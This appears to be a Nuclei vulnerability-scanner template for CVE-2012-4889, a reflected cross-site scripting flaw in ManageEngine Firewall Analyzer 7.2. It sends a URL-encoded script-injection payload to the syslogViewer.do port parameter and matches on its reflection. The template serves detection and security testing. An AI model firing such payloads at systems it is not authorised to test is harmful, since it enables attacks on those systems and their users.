id: CVE-2012-4889

info:
  name: ManageEngine Firewall Analyzer 7.2 - Cross-Site Scripting
  author: daffainfo
  severity: medium
  description: Multiple cross-site scripting vulnerabilities in ManageEngine Firewall Analyzer 7.2 allow remote attackers to inject arbitrary web script or HTML via the (1) subTab or (2) tab parameter to createAnomaly.do; (3) url, (4) subTab, or (5) tab parameter to mindex.do; (6) tab parameter to index2.do; or (7) port parameter to syslogViewer.do.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to execute arbitrary script code in the context of the affected user's browser.
  remediation: |
    Apply the latest security patch or upgrade to a newer version of ManageEngine Firewall Analyzer.
  reference:
    - https://nvd.nist.gov/vuln/detail/CVE-2012-4889
    - http://packetstormsecurity.org/files/111474/VL-437.txt
    - http://www.vulnerability-lab.com/get_content.php?id=437
    - https://exchange.xforce.ibmcloud.com/vulnerabilities/74538
    - https://github.com/ARPSyndicate/kenzer-templates
  classification:
    cvss-metrics: CVSS:2.0/AV:N/AC:M/Au:N/C:N/I:P/A:N
    cvss-score: 4.3
    cve-id: CVE-2012-4889
    cwe-id: CWE-79
    epss-score: 0.03632
    epss-percentile: 0.87991
    cpe: cpe:2.3:a:manageengine:firewall_analyzer:7.2:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: manageengine
    product: firewall_analyzer
  tags: cve,cve2012,xss,manageengine,packetstorm,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/fw/syslogViewer.do?port=%22%3E%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E"

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - '</script><script>alert(document.domain)</script>'

      - type: word
        part: header
        words:
          - text/html

      - type: status
        status:
          - 200
# digest: 490a004630440220633a93b2c71e62198c31707afd25caac936589db16f4e33bab001507ce07011d02204414481f34a69c9719da7c50c172e6e4e0a66fafea477c06f146f0b0a6f27359:922c64590222798bb761d5b6d8e72950